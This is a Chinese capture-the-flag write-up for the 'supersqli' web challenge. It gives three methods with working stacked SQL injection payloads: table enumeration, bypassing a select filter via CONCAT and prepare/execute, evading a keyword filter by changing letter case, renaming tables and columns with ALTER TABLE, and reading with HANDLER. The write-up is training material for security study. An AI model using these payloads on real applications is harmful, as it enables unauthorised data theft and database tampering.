攻防世界-web-高手进阶区017-supersqli
Posted joker0xxx3
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了攻防世界-web-高手进阶区017-supersqli相关的知识,希望对你有一定的参考价值。
方法一:
1.输入1’发现不回显,然后1’ #显示正常,应该是存在sql注入了
2.order by 2的时候是正常回显了,order by 3就出错了,只有2个字段,这时候用union select进行联合查询,发现关键字被正则过滤
3.尝试堆叠注入
-1\';show tables --+
4.查看字段,
-1\';show columns from `1919810931114514` --+
-1\';show columns from `words` --+
5.查看值,需要绕过select的限制,我们可以使用预编译的方式
-1\';set @sql = CONCAT(\'se\',\'lect * from `1919810931114514`;\');prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下:
-1\';
set @sql = CONCAT(\'se\',\'lect * from `1919810931114514`;\');
prepare stmt from @sql;
EXECUTE stmt; #
6.这里用strstr函数过滤了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。
-1\';sEt @sql = CONCAT(\'se\',\'lect * from `1919810931114514`;\');prEpare stmt from @sql;EXECUTE stmt;#
方法二:
1.由上面的探测我们可以猜测出这里会查询出words表的data列的结果。也就是类似于下面的sql语句:
select * from words where id = \'\';
2.我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。
修改表名和列名的语法如下:
修改表名(将表名user改为users)alter table user rename to users;
修改列名(将字段名username改为name)alter table users change uesrname name varchar(30);
3.最终payload如下:
1\'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分开来如下:
1\';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#
4.然后使用1\' or 1=1#即可查询出flag
方法三:
使用handler查询,payload如下:
-1\';handler `1919810931114514` open;handler `1919810931114514` read first;#
以上是关于攻防世界-web-高手进阶区017-supersqli的主要内容,如果未能解决你的问题,请参考以下文章